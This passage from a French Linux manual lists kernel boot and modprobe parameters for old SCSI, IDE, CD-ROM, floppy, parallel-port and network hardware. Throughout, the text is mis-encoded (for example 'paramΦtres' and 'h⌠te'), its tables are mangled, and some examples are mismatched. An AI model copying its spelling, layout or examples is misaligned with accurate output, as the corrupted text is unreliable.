| <id> (SCSI-ID de l'adaptateur h⌠te) | ID de l'adaptateur h⌠te, souvent 7 *
* |
| <rec> (reconnect) | 0 , 1 *
* |
| <par> (parity) | 0 , 1 Contr⌠le de paritΘ *
* |
| <sync> (synchronous) | 0 , 1 Transmission synchrone *
* |
| <delay> |100 DΘlai du bus, valeur par dΘfa*
*ut |
|__<ext_trans>_______________________________________________|0_,_1__Translation_C/H/S____________*
*_________|________
Avec ce pilote, il est possible d'utiliser de nombreux contr⌠leurs SCSI peu
co√teux. Par exemple, toutes les cartes son dotΘes d'un contr⌠leur SCSI
(α l'exception de Pro Audio Spectrum ) contiennent une puce Adaptec et
peuvent Ωtre utilisΘes avec ce pilote.
Pour faire fonctionner tous les 152x non originaux, il semble que le 4Φme
paramΦtre (RECONNECT ) soit indispensable. Pour presque tous les types, il
doit Ωtre positionnΘ α `0' sauf pour le AHA2825 qui requiert un `1'.
Exemple : aha152x=0x300,10,7
~ Adaptec AHA-1540 / 1542 adaptateur h⌠te SCSI
aha1542=<addr>[,<buson>,<busoff>[,<vitesse DMA>]]
____________________________________________________________________
|__Variable_________________|____Valeurs_/_Signification__|__________
| <buson> |2..15 |
| <busoff> |1..64 |
|__<vitesse__DMA>_______________|5,6,7,8,10_________________________|
Exemple : aha1542=0x300
~ Adaptec AHA-274x / 284x / 294x adaptateur h⌠te
aic7xxx=<modifier>[,<modifier>[, : : : ]]
372
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
________________________________________________________________________________________________________
||__Variable___________|___Valeurs_/_Signification___________________________________________|___________
|| <modifier> |extended |
|| |active la translation de la gΘomtΘrie du disque |
|| |no_reset |
|| |empΩche une rΘinitialisation (angl. reset) du bus |
|| |SCSI lors de l'initialisation de l'adaptateur h⌠te |
|| |irq_trigger : <x> |
|| |seulement pour systΦmes Eisa |
|| |x = 0 pour interruption sur front (edge triggered) |
|| |x = 1 pour interruption sur niveau (level-sensitive) |
|| |verbose |
|| |pour l'augmentation du nombre des messages |
|| |reverse_scan |
|| |lorsque plusieurs cartes du BIOS ne sont |
|| |pas traitΘes correctement |
|| |7895_irq_hack : <x> |
|| |x = -1 pour cartes mΦres Tyan II |
|| |pci_parity : <x> |
|| |par dΘfaut : paritΘ paire, |
|| |x = 0 pas de contr⌠le de paritΘ, |
|| |x = 1 paritΘ impaire |
|| |tag_info :``` |
|| |Gestion de la file d'attente pour l'accroissement |
|| |de la performance, |
||_________________________|pour_experts_(voir_les_sources_du_noyau)_________________|__________________
Exemple : aic7xxx=no_reset ,
si la machine plante α la rΘinitialisation du bus SCSI.
Pour les adaptateurs h⌠tes SCSI basΘs sur aic7xxx , les paramΦtres ne
sont nΘcessaires que dans le cas o∙ la fonction s'avΦre dΘfectueuse ou
insatisfaisante.
Le AHA-2940 AU ne fonctionne de faτon fiable qu'α partir de la version
1.3 du BIOS. Il est possible d'obtenir des mises α jour en s'adressant au
support technique Adaptec.
L'adaptateur h⌠te SCSI Adaptec 2920 n'est pas gΘrΘ par ce pilote mais
par le pilote Future Domain (paragraphe 14.3.2 page suivante) !
~ AdvanSys adaptateur h⌠te SCSI
advansys=<addr1>,<addr2>,...,<addr4>,<debug_level>
Exemple : advansys=0x110,0x210
Cet exemple fait savoir au noyau qu'il doit rechercher l'adaptateur h⌠te
AdvanSys aux adresses spΘcifiΘes.
~ AM53/79C974 adaptateur h⌠te SCSI
AM53C974=<id h⌠te>,<id cible>,<taux>,<offset>
*
* 373
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
___________________________________________________________________________________________
|__Variable___________|_____Valeurs_/_Signification______________________________|__________
| <id h⌠te> | ID SCSI de l'adaptateur h⌠te, souvent 7 |
| <id cible> | ID SCSI du pΘriphΘrique 0..7 |
| <taux> | 3,5,10 MHz/s taux maximal de transfert |
|__<offset>_______________|_Mode_de_transfert_;_0__=_asynchrone____________|_______________
Lorsque l'adaptateur h⌠te semble ``avaler de travers'', on rΘduit le taux
maximal de transfert pour le pΘriphΘrique (par exemple le premier lecteur
de CD-ROM SCSI /dev/scd0 avec ID 5) sur le bus SCSI :
Exemple : AM53C974=7,5,3,0
Pour chaque pΘriphΘrique, on peut ajouter des taux et des modes de trans-
fert et il est alors possible que AM53C974=x,x,x,x apparaisse jusqu'α
sept fois pour un adaptateur h⌠te.
~ BusLogic ~ adaptateur h⌠te SCSI
BusLogic=<addr>
BusLogic=<probing>
Exemple : BusLogic=0x300
__________________________________________________________________________________________________*
*____________________
|__Variable_________|_____Valeurs_/_Signification_________________________________________________*
*___________|_________
| <addr> | Adresse de l'adaptateur, par exemple 0x300 *
* |
| <probing> | NoProbe Il n'est pas recherchΘ d'adaptateur *
* |
| | NoProbeISA Il n'est pas recherchΘ d'adaptateur ISA *
* |
| | NoProbePCI Il n'est pas recherchΘ d'adaptateur PCI *
* |
| | NoSortPCI L'ordre des adaptateurs multimaεtres *
* |
| | est dΘterminΘ par le BIOS du PCI *
* |
| | MultiMasterFirst Multimaster avant Flashpoint *
* |
| | FlashPointFirst Flashpoint avant Multimaster *
* |
| | InhibitTargetInquiry Pour vieux pΘriphΘriques qui *
* |
| | ont des problΦmes avec scsi_luns > 0. *
* |
| | TraceProbe affiche des messages supplΘmentaires *
* |
| | lors de l'initialisation de l'adaptateur *
* |
| | TraceHardwareReset affiche des messages supplΘmentaires *
* |
| | lors de la rΘinitialisation matΘrielle de l'adaptateur *
* |
| | TraceConfiguration affiche des messages supplΘmentaires *
* |
| | lors de la configuration de l'adaptateur *
* |
| | TraceErrors affiche les messages d'erreur des *
* |
| | pΘriphΘriques connectΘs *
* |
|_______________________|_Debug_____affiche_tout__________________________________________________*
*________________|___
Cet adaptateur h⌠te peut encore Ωtre configurΘ au moyen de plusieurs
autres paramΦtres. Ceci a pour but d'affiner la configuration et se trouve
dΘcrit dans /usr/src/linux/drivers/scsi/README.BusLogic.
~ Future Domain, adaptateur h⌠te SCSI TMC-16x0
fdomain=<addr>,<irq>[,<id>]
________________________________________________________________________
|__Variable__|_____Valeurs_/_Signification_____________________|_________
|__<id>___________|ID_SCSI_de_l'adaptateur_h⌠te_0..7______|_____________
374
__________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
*______________________
Ce pilote gΦre aussi l'adaptateur h⌠te SCSI Adaptec 2920 .
Exemple : fdomain=0x140,11,7
~ Future Domain, adaptateur h⌠te TMC-885/950
tmc8xx=<addr>,<irq>
Exemple : tmc8xx=0xca000,5
~ NCR 5380, famille d'adaptateurs h⌠tes SCSI
ncr5380=<addr>,<irq>,<dma>
Exemple : ncr5380=0x340,10,3
~ NCR 53c400, famille d'adaptateurs h⌠tes SCSI
ncr53c400=<addr>,<irq>
Exemple : ncr53c400=0x350,5
Ce pilote gΦre par exemple l'adaptateur h⌠te trΦs rΘpandu Trantor T130B
~ NCR 53c406a, famille d'adaptateurs h⌠tes SCSI
ncr53c406a=<addr>[,<irq>[,<fastpio>]]
______________________________________________________________________________________________________
||__Variable_________|___Valeurs_/_Signification__________________________________________|____________
||__<fastpio>____________|0,_s'il_n'est_pas_souhaitΘ_un_mode_PIO_plus_rapide__|_______________________
Exemple : ncr53c406a=0x330,10,0
~ Seagate ST01/02, adaptateur h⌠te SCSI
st0x=<addr>,<irq>
Exemple : st0x=0xc8000,5
~ Trantor T128/128F/228, adaptateur h⌠te SCSI
t128=<addr>,<irq>
Exemple : t128=0x340,10
Contr⌠leurs (E)IDE et pΘriphΘriques ATAPI
De nombreux paramΦtres peuvent Ωtre utilisΘs pour la configuration du Contr⌠leurs
contr⌠leur (E)IDE et des pΘriphΘriques qui y sont connectΘs. (E)IDE
PΘriphΘriques
~ CD-ROM ATAPI reliΘ au contr⌠leur (E)IDE ATAPI
hd<x>=cdrom
hd<x>=serialize
________________________________________________________________________
||__Variable__|___Valeurs_/_Signification___________________|____________
|| <x> a|, b , c , d , avec dans ce cas : |
|| a| maεtre au 1er contr⌠leur IDE |
|| b| esclave au 1er contr⌠leur IDE |
|| c| maεtre au 2Φme contr⌠leur IDE |
||________________d|_esclave_au_2Φme_contr⌠leur_IDE__|__________________
*
* 375
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
Exemple :
On fera connaεtre un lecteur de CD-ROM ATAPI connectΘ en mode maεtre
au 2Φme contr⌠leur IDE par hdc=cdrom .
~ Disque dur
hd<x>=<cylindres>,<tΩtes>,<secteurs>[,<Θcriture>[,<irq>]]
__________________________________________________________________________________________________*
*__________
|__Variable_____________|_____Valeurs_/_Signification_____________________________________________*
*_|_________
| <x> | a , b , : : :, h 1er au 8Φme disque dur. |
| <cylindres> | Nombre de cylindres |
| <tΩtes> | Nombre de tΩtes *
* |
| <secteurs> | Nombre de secteurs |
| <Θcriture> | Cylindre α partir duquel la compensation en Θcriture |
| | est appliquΘe *
* |
|__<irq>____________________|_Interrupt___________________________________________________________*
*______|___
Si le BIOS est dΘjα vieux, il peut arriver que la gΘomΘtrie exacte du disque
ne soit pas reconnue. Les paramΦtres corrects seront alors transmis d'une
maniΦre qui permette quand mΩme au noyau d'accΘder α la totalitΘ du
disque.
Exemple : hdc=1050,32,64
hd<x>=<trouble>
__________________________________________________________________________________________________*
*________________
|__Variable_________|_____Valeurs_/_Signification_________________________________________________*
*_______|_________
| <x> | a , b , : : :, h 1er au 8Φme disque dur *
* |
| <trouble> | noprobe , lorsqu'il s'avΦre problΘmatique de tester |
| | un disque dur existant *
* |
| | none Ignorer l'entrΘe CMOS et ne pas faire de test |
| | nowerr Ignorer le bit WREE`STAT |
| | cdrom reconnu par erreur comme disque dur ou |
| | pas du tout reconnu, ou Θchec de l'amorτage |
| | autotune utilisation du mode PIO le plus rapide |
| | slow chaque accΦs est suivi d'une longue pause, |
| | provoque un net ralentissement, rΘsoud parfois le problΦme |
|_______________________|_et_constitue_la_derniΦre_possibilitΘ____________________________________*
*____|___________
Lorsqu'un lecteur de CD-ROM n'est pas reconnu de faτon fiable, la spΘ-
cification de <cdrom> peut rΘsoudre ce problΦme.
Exemple : hdd=cdrom
~ Chipsets pour contr⌠leurs EIDE
ide0=<Chipsatz>
Une sΘrie de contr⌠leurs EIDE possΦde des chipsets dΘfectueux ou pose
des problΦmes lorsque le deuxiΦme contr⌠leur doit Ωtre utilisΘ.
Pour un grand nombre de ces chipsets, il existe donc maintenant dans
le noyau un support spΘcial qui doit toutefois encore Ωtre activΘ par un
paramΦtre du noyau.
Les chipsets suivants peuvent Ωtre configurΘs :
376
__________________________________________________________________________________________________14.3.__Les_paramΦtres___________*
*________________
_____________________________________________________________________________________________________________
CMD 640 Ce chipset se trouve sur de trΦs nombreuses
cartes mΦres. Mais comme il est trΦs dΘ-
fectueux, le noyau offre un support spΘcial
qui le reconnaεt et contourne ainsi le pro-
blΦme. En outre, l'utilisation du deuxiΦme
contr⌠leur n'est possible, dans certains cas,
qu'au moyen du code spΘcial. Dans les sys-
tΦmes PCI, la puce est reconnue automatique-
ment ; dans les systΦmes VLB, il est nΘces-
saire d'utiliser le paramΦtre du noyau suivant :
ide0=cmd640_vlb .
RZ 1000 Cette puce, utilisΘe sur beaucoup de cartes
mΦres avec le chipset Neptun est dΘfectueuse.
Si le support est activΘ, le systΦme fonction-
nera plus lentement mais sans incohΘrence.
Une activation plus poussΘe α l'aide d'un pa-
ramΦtre du noyau n'est pas nΘcessaire.
DTC-2278 C'est seulement en activant ce pilote par le pa-
ramΦtre ide0=dtc2278 que l'on peut utiliser
le deuxiΦme contr⌠leur.
Holtek HT6560B Pour activer le deuxiΦme contr⌠leur, le para-
mΦtre suivant est nΘcessaire : ide0=ht6560b .
QDI QD6580 En activant ce pilote, vous obtiendrez de plus
grandes vitesses : ide0=qd6580 .
UMC 8672 Pour activer le deuxiΦme contr⌠leur, le para-
mΦtre suivant est nΘcessaire : ide0=umc8672 .
ALI M1439/M1445 Pour activer le deuxiΦme contr⌠leur, le para-
mΦtre suivant est nΘcessaire : ide0=ali14xx .
PROMISE DC4030 Pour activer le deuxiΦme contr⌠leur, le para-
mΦtre suivant est nΘcessaire : ide0=dc4030 .
Les lecteurs de CD-ROM et lecteurs de bandes
reliΘs au deuxiΦme contr⌠leur ne sont pas en-
core supportΘs !
_____________________________________________________________________________________________________________
Tab. 14.2: Chipsets particuliers
Si le chipset, bien que ne faisant pas partie de ceux marquΘs comme
dΘfectueux, n'est quand mΩme pas reconnu, il est possible de rΘsoudre
le problΦme en transmettant les paramΦtres suivants :
ide<nummer>=<basis>[,<control>[,<irq>]]
377
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________
|__Variable_________|_____Valeurs_/_Signification_____________________________|__________
| <nummer> | NumΘro de l'adaptateur, |
| | souvent 0 ou 1 , mais aussi 3 ou 4 |
| <basis> | Adresse de base de l'adaptateur, |
| | souvent 0x1f0 , 0x170 , 0x1e8 ou 0x168 |
| <control> | Registre de contr⌠le de l'adaptateur, |
| | souvent 0x3f6 , 0x376 , 0x3ee ou 0x36e |
| <irq> | Interruption de l'adaptateur, |
|_______________________|_souvent_14__,_15__,_11___ou_10___________________________|____
Si vous rencontrez des difficultΘs bien que le chipset ne fasse pas partie de
ceux marquΘs comme dΘfectueux, vous pouvez y remΘdier en transmet-
tant les paramΦtres suivants :
ide<nummer>=<tune>
__________________________________________________________________________________________________*
*______________
|__Variable_______|_____Valeurs_/_Signification___________________________________________________*
*_____|_________
| <nummer> |NumΘro de l'adaptateur, souvent 0 ou 1 , mais aussi 3 ou 4 . |
| <tune> |autotune : tentative avec la valeur de PIO la plus |
| |ΘlevΘe ; n'est pas supportΘe par tous les chipsets |
| |noautotune : pas d'amΘlioration de la vitesse |
| |serialize : pas de chevauchement temporaire des |
|______________________|opΘrations_avec_le_prochain_adaptateur_h⌠te_________________________|_____*
*______________
Si le chipset ne fait pas partie de ceux marquΘs comme dΘfectueux et
si vous voulez obtenir une vitesse maximale, il est possible de faire
connaεtre la vitesse du bus. Consultez la documentation qui accompagne
votre carte mΦre.
idebus=<speed>
Autres possibilitΘs
Carte rΘseau
Lecteur de ~ Ethernet, carte rΘseau
disquettes ether=<irq>,<addr>[,<par1>[,<par2>...<par8>]],<nom>
Les divers paramΦtres de <par1> α <par8> ont pour les diffΘrents
pilotes une signification diffΘrente. La plupart du temps, il suffit (mais
ce n'est mΩme pas toujours nΘcessaire) de spΘcifier deux paramΦtres qui
sont l'adresse de dΘbut et l'adresse de fin de la zone de mΘmoire partagΘe
(angl. shared memory). Le premier argument non numΘrique est traitΘ
comme Θtant le nom.
____________________________________________________________________________________________________*
*______
<irq> Interruption utilisΘe ; 0 pour dΘtection automatique.
<addr> Adresse de port ; 0 pour dΘtection automatique.
____________________________________________________________________________________________________*
*______
Tab. 14.3: Continuer α la page suivante...
378
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
_____________________________________________________________________________________________________________
<start> Adresse de dΘbut pour mΘmoire partagΘe (angl. shared
memory). Certains pilotes utilisent les 4 bits infΘrieurs
pour le niveau ``debug''. Le pilote Lance utilise ces bits
pour le canal DMA.
<end> Adresse de fin pour mΘmoire partagΘe. Le pilote
3COM3c503 utilise ce paramΦtre pour diffΘrencier les
transcepteurs internes des transcepteurs externes.
<xcvr> Type du transcepteur
La carte Cabletron E21XX utilise les 4 bits infΘrieurs
pour sΘlectionner le support.
<Name> Nom de l'interface (habituellement eth0 ).
_____________________________________________________________________________________________________________
Tab. 14.3: DΘnomination des variables pour cartes rΘseau Ethernet
Ce paramΦtre est le plus souvent utilisΘ pour amener le noyau α recon-
naεtre plus d'une carte rΘseau car normalement seule la premiΦre carte est
recherchΘe. Ceci peut Ωtre obtenu par
ether=0,0,eth1
Tenez compte du fait qu'en spΘcifiant 0 pour la demande d'interruption
(IRQ) et l'adresse, on ordonne au pilote de faire ce que l'on appelle une
dΘtection automatique (angl. autoprobing), c'est-α-dire d'essayer diffΘ-
rentes valeurs de faτon autonome.
~ Lecteur de disquette
floppy=<drive>,<type>,cmos
_______________________________________________________________________
||__Variable_________|___Valeurs_/_Signification____________|___________
|| <lecteur> |0, 1, 2, 3 |
|| <type> |0 - prend les valeurs CMOS |
|| |1 - 5.25 pouces DD, 360 KB |
|| |2 - 5.25 pouces HD, 1,2 MB |
|| |3 - 3.5 pouces DD, 720 KB |
|| |4 - 3.5 pouces HD, 1,44 MB |
|| |5 - 3.5 pouces ED, 2,88 MB |
|| |6 - 3.5 pouces ED, 2,88 MB |
||_______________________|16__-_inconnu_ou_inexistant______|___________
floppy=<valeur>
Vous pouvez remplacer <valeur> par les valeurs suivantes (tableau 14.4
page suivante) :
*
* 379
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
____________________________________________________________________________________________________*
*______
one_drives Un seul lecteur de disquettes
asus_pci EmpΩche l'accΦs au 3Φme et au
4Φme lecteur de disquettes
daring Seulement pour les contr⌠leurs qui
ne posent aucun problΦme - aug-
mente la performance
0,daring Le contraire de daring
[<addr>,]two_fdc Lorsque la valeur pour <addr>
est omise pour deux contr⌠leurs
de disquettes, on implicite pour le
deuxiΦme contr⌠leur de disquette
une adresse de port de 0x370 .
thinkpad Ordinateur IBM Thinkpad
0,thinkpad Pas d'ordinateur Thinkpad
omnibook Ordinateur Omnibook
nodma Pour ordinateur Omnibook
dma Standard
nofifo S'il apparaεt un message "Bus
master arbitration error"
fifo Par dΘfaut
0xX ,fifo_depth Seuil FIFO par dΘfaut 0xA
unexpected_interrupts Afficher un avertissement lorsque
des interruptions inattendues se
produisent
no_unexpected_interrupts Cette valeur donne le rΘsultat
inverse de celui produit par
unexpected_interrupts
L40SX idem
____________________________________________________________________________________________________*
*______
Tab. 14.4: valeurs pour le paramΦtre du noyau floppy
~ Logitech, souris bus
bmouse=<irq>
~ Contr⌠leur de disques durs XT
xd=<typ>,<irq>,<addr>,<dma>
14.3.3 Lecteurs de CD-ROM connectΘs α des contr⌠leurs propriΘtaires
Anciens
lecteurs de ~ Aztech CDA268-01, CD-ROM
CD-ROM aztcd=<addr>[,0x79]
La valeur 0x79 ne doit Ωtre spΘcifiΘe que dans le cas d'une version de
microprogramme (angl. firmware) inconnue.
Exemple : aztcd=0x320
380
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
~ Goldstar, lecteur de CD-ROM R420
gscd=<addr>
~ Mitsumi, lecteur de CD-ROM
mcd=<addr>,<irq>[,<attente>]
_____________________________________________________________________________________________
||__Variable_________|___Valeurs_/_Signification__________________________________|___________
||__<attente>____________|valeur_pour_le_temps_d'attente_au_dΘmarrage__|_____________________
On peut faire varier le paramΦtre <attente> dans une marge situΘe entre
0 et 10 si le lecteur de CD-ROM a une rΘaction trop lente ("timeout")
aux requΩtes du systΦme, ce qui peut avoir Θventuellement pour consΘ-
quence que l'image de root n'est pas dΘtectΘe pendant l'installation.
Exemple : mcd=0x300,10,5
~ Mitsumi, lecteur de CD-ROM (multisession)
mcdx=<addr>,<irq>[,<addr>,<irq>]
Exemple : mcd=0x300,10 Jusqu'α 5 lecteurs sont supportΘs
~ Interface Mozart
isp16=[<addr>[,<irq>[,<dma>]]][[,]<typ>]
_____________________________________________________________________________
||__Variable____|__Valeurs_/_Signification_______________________|____________
||__<type>_________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_
Ce pilote gΦre des lecteurs de CD-ROM connectΘs α une carte son ISP16 ,
MAD16 ou Mozart . La valeur pour la variable <type> dΘpend du
connecteur d'interface auquel le cΓble du CD-ROM est branchΘ sur la
carte son.
Exemple : isp16=0x340,10,3,Sony
~ Optics Storage, lecteur de CD-ROM 8000 AT
optcd=<addr>
Exemple : optcd=0x340
~ Philips, lecteur de CD-ROM CM206
cm206=<addr>,<irq>
Exemple : cm206=0x340,10
~ Pro Audio Spectrum 16, adaptateur h⌠te SCSI
pas16=<addr>,<irq>
La carte son Pro Audio Spectrum 16 est dotΘe d'un adaptateur h⌠te dont
la configuration peut Ωtre communiquΘe au noyau avec ce paramΦtre.
Exemple : pas16=0x340,10
Lorsque la reconnaissance de la carte a ΘchouΘ, elle peut se faire sans
l'interruption. Dans ce cas, l'interruption sera positionnΘe α 255 .
Exemple : pas16=0x340,255
*
* 381
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
~ Sanyo, lecteur de CD-ROM
sjcd=<addr>
Exemple : sjcd=0x340
~ Sony CDU 31/33 A
cdu31a=<addr>,<irq>[,PAS]
Pour ce qui concerne ce pilote, la dΘtection automatique (angl. autopro-
bing) a complΦtement disparue du noyau, ce qui rend absolument indis-
pensable une spΘcification des paramΦtres.
Exemple : cdu31a=0x340,5
Si aucune interruption n'est prΘvue pour le lecteur, l'accΦs n'est possible
que par interrogation (angl. polling) et il doit Ωtre spΘcifiΘ 0 comme IRQ.
Exemple : cdu31a=0x340,0
Si ce lecteur est connectΘ α une carte Pro Audio Spectrum, les paramΦtres
peuvent Ωtre les suivants :
Exemple : cdu31a=0x1f88,0,PAS
~ Sony CDU 535
sonycd535=<addr>,<irq>
Exemple : sonycd535=0x340,10
~ Soundblaster Pro 16 MultiCD
sbpcd=<addr>,<type>
__________________________________________________________________________________________________*
*__________________
|__Variable____|____Valeurs_/_Signification_______________________________________________________*
*________|__________
|__<type>__________|LaserMate________,_SPEA____,_SoundBlaster___________,_SoundScape_________,_Tea*
*c__16bit__________|
Exemple : sbpcd=0x230,SoundBlaster
Le port parallΦle
Port parallΦle
~ Port parallΦle
parport=<addr0>,[<irq0> [parport=<addr1>,[<irq1>
[parport=<addr2>,[<irq2>]]]]]
_________________________________________________________
|__Variable_____|_____Valeurs_/_Signification__|__________
| <addrX> |Adresse |
|__<irqX>____________|Interruption_________________|_____
Exemple : parport=0x3bc parport=0x378,7 parport=0x278,auto
~ Imprimante sur port parallΦle
lp=<parport0> [lp=<parport1> [lp=<parport2>]]
______________________________________________________________
|__Variable___________|_____Valeurs_/_Signification__|_________
|__<parportX>_____________|_Port_parallΦle_______________|____
Exemple : lp=parport0 lp=parport2
Exemple : lp=0x278,5,0x378,7
382
__________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
*______________________
14.3.4 ParamΦtres modprobe
Dans ce paragraphe, nous prΘsenterons les paramΦtres qui peuvent Ωtre utili-
sΘs pour le chargement d'un pilote en tant que module. S'il n'Θtait pas pos-
sible de charger un pilote bien que des paramΦtres aient ΘtΘ spΘcifiΘs ou s'il
ne se trouvait pas de paramΦtre adΘquat pour ce pilote dans le prΘsent para-
graphe, vous devrez malheureusement intΘgrer un tel pilote dans un noyau
monolithique.
Certains pilotes ne sont pas encore disponibles sous forme de modules. Cer-
tains autres, peu nombreux, ne reconnaissent le matΘriel de faτon fiable que
si le pilote est inclus en permanence dans le noyau. Il vaut en tout cas la peine
de faire un essai afin de savoir si le pilote en question peut Ωtre utilisΘ sous
forme de module.
Si le pilote est chargΘ en tant que module, toute variable utilisΘe dans le
module peut Ωtre Θcrite dans la ligne de commande. Il existe par exemple
dans le pilote pour cartes NE2000 la variable du nom de io qui spΘcifie la
zone d'E/S. Ainsi, la commande correcte de chargement de ce module est
donc (voir aussi, au chapitre sur le noyau, le paragraphe 13.2 page 360) :
terre:/ # insmod ne io=0x300 irq=10
ou mieux avec modprobe :
terre:/ # modprobe ne io=0x300 irq=10
Prenez garde, en spΘcifiant les paramΦtres, α ne taper aucun espace ni avant ni
aprΦs le signe d'ΘgalitΘ. Vous devez en outre entrer des valeurs hexadicimales
sous la forme prΘsentΘe dans l'exemple (en les faisant prΘcΘder de `0x').
_______________________________________________________________________________________________________________________||
|||||||| Si plusieurs paramΦtres peuvent Ωtre spΘcifiΘs pour un pilote, vous devez ||| |
|||||||| absolument les sΘparer par des espaces ! Ceci constitue une diffΘrence fon- || |
|||||||| || |
|||||||| damentale avec la transmission des paramΦtres α l'invite d'amorτage o∙ il || |
|||||||| ne doit pas y avoir d'espaces entre les paramΦtres concernant un seul et || |
|||||||| || |
|||||||| mΩme pilote ! || |
||||||||_______________________________________________________________________________________________________________||_
Les paramΦtres que vous spΘcifiez ici peuvent aussi Ωtre repris dans le fichier
/etc/modules.conf. On peut y spΘcifier toute une sΘrie de paramΦtres pour
chaque module. Ceci se fait dans une ligne de commande propre α chaque
module. Ces lignes de commandes ont la structure suivante :
options <nom du module> <parm1>=<valeur1> ...
avec dans ce cas :
________________________________________________________________________________________________________________
||||||||__Variable____________Valeurs_/|Signification___________________________________|________________________
|||||||| <nom du module> Nom du fichie|r de module sans extension .o |
|||||||| <parm1> ParamΦtre 1 | |
||||||||__<wert1>_____________Valeur_assign|Θe_au_paramΦtre_1______________________|____________________________
L'entrΘe pour la carte NE2000 de l'exemple ci-dessus serait par consΘquent :
options ne io=0x300 irq=10
Voici maintenant une liste des paramΦtres les plus importants pour la plupart
des modules
*
* 383
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
Contr⌠leur SCSI et sous-systΦme SCSI
~ Adaptec, adaptateurs h⌠tes AHA-1520 / 1522 / 1510 / 1515 / 1505
Nom du module : aha152x.o
____________________________________________________________________________________________
|__Variable___________|_____Valeurs_/_Signification________________________________|_________
| <io> | <addr> |
| <irq> | <irq> |
| <id> | ID SCSI de l'adaptateur h⌠te ; par dΘfaut 7 |
| <rec> | <reconnexion> ; 0 , 1 |
| <par> | paritΘ ; 0 , 1 |
| <sync> | mode synchrone ; 0 , 1 |
| <delay> | Temporisation du bus ; par dΘfaut 100 |
|__<translat>_____________|_translation_de_la_gΘomΘtrie_du_disque_;_0_,_1____|______________
Comme α l'invite de LILO :
Exemple : modprobe aha152x aha152x=0x340,10,7,1,1,0,100,0
Pour un deuxiΦme adaptateur h⌠te :
Exemple : modprobe aha152x aha152x1=0x140,12,7,1,1,0,100,0
~ Future Domain, adaptateur h⌠te TMC-16x0
Nom du module : fdomain.o
Ce pilote gΦre entre autres l'adaptateur h⌠te SCSI Adaptec 2920 .
fdomain=<addr>,<irq>[,<id>]
_______________________________________________________
|__Variable____|____Valeurs_/_Signification__|__________
| <addr> |<addr> |
| <irq> |<irq> |
|__<id>____________|<id>_______________________________|
Comme α l'invite de LILO :
Exemple : modprobe fdomain fdomain=0x140,11,7
~ Famille d'adapteurs h⌠tes SCSI NCR 5380 ou NCR 53C400
Nom du module : g_NCR5380.o
______________________________________________________________________________
|__ParamΦtres_____|_______Valeurs_________________________________________|____
| ncr_addr |<addr> |
| ncr_irq |<irq> ; dΘsactiver avec 255 |
| ncr_dma |<dma> |
| ncr_5380 |1 pour un adaptateur NCR5380 |
|__ncr_53c400____________|1__pour_un_adaptateur_NCR53C400__|__________________
Pour un adaptateur NCR5380 :
Exemple : modprobe g_NCR5380 ncr_irq=5 ncr_addr=0x350
ncr_5380=1
Pour un adaptateur NCR53C400 avec interruptions dΘsactivΘes :
Exemple : modprobe g_NCR5380 ncr_irq=255 ncr_addr=0xc8000
ncr_53c400=1
Ce pilote gΦre par exemple l'adaptateur h⌠te SCSI trΦs rΘpandu Trantor
T130B
384
__________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
*______________________
Cartes rΘseau
~ 3Com, cartes rΘseau 3c501 / 3c503 / 3c505 / 3c507
Nom du module : 3c501.o,3c503.o,3c505.o,3c507.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Exemple : modprobe 3c509 io=0x300 irq=10
~ 3Com, cartes rΘseau 3c509 / 3c579
Nom du module : 3c509.o
___________________________________________________________
||__ParamΦtres__|_____Valeurs________________________|______
|| irq <|irq> |
||__xcvr______________0|_:_interne_;_1__:_externe__|_______
Exemple : modprobe 3c509 irq=10 xcvr=0
~ 3Com, cartes rΘseau 3c515
Nom du module : 3c515.o
Exemple : modprobe 3c515
~ 3Com, cartes rΘseau 3c59x / 3c90x (``Vortex''/``Boomerang'')
Nom du module : 3c59x.o
Pour les ordinateurs Compaq (PCI), on peut faire un essai avec les para-
mΦtres suivants :
__________________________________________________
||__ParamΦtres_____________|_____Valeurs_____|_____
|| compaq_ioaddr |<addr> |
|| compaq_irq |<irq> |
||__compaq_prod_id_______________|<id>__________|_
Exemple : modprobe 3c59x compaq_irq=10
~ Allied Telesis, carte rΘseau AT1700
Nom du module : at1700.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Exemple : modprobe at1700 io=0x300 irq=10
~ Cabletron, carte rΘseau E21xx
Nom du module : e2100.o
*
* 385
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
__________________________________________________________
|__ParamΦtres__|_______Valeurs________________________|____
| io |<addr> |
| irq |<irq> |
| mem |<addr> |
|__xcvr_______________|0__:_interne_;_1__:_externe__|_____
Exemple : modprobe e2100 io=0x300 irq=10 mem=0xd000 xcvr=0
~ Digital, cartes rΘseau DE425 / 434 / 435 / 450 / 500
Nom du module : de4x5.o
io=0x<bus><id pΘriphΘrique>
______________________________________________________________________________________
|__ParamΦtres_______________|______Valeurs________________________________________|____
| bus |NumΘro du bus PCI, en gΘnΘral 0 |
|__id__pΘriphΘrique_______________|NumΘro_du_pΘriphΘrique_PCI_________|_______________
Pour les BIOS de PCI rΘcents, ces donnΘes sont affichΘes ou peuvent Ωtre
obtenues sous Linux avec
terre: # cat /proc/pci
Exemple : modprobe de4x5 io=0x007
~ Digital DEPCA / DE10x / DE20(012) / DE42, carte rΘseau Ether WORKS
Nom du module : depca.o
__________________________________________________________________________
|__ParamΦtres_________|_______Valeurs_________________________________|____
| io | <addr> |
| irq | <irq> |
| mem | <mem> |
| adapter_name | <Nom> par exemple DEPCA , |
| | de100 , de101 , |
| | de200 , de201 , |
| | de202 , de210 , |
|___________________________|_de422______________________________________|_
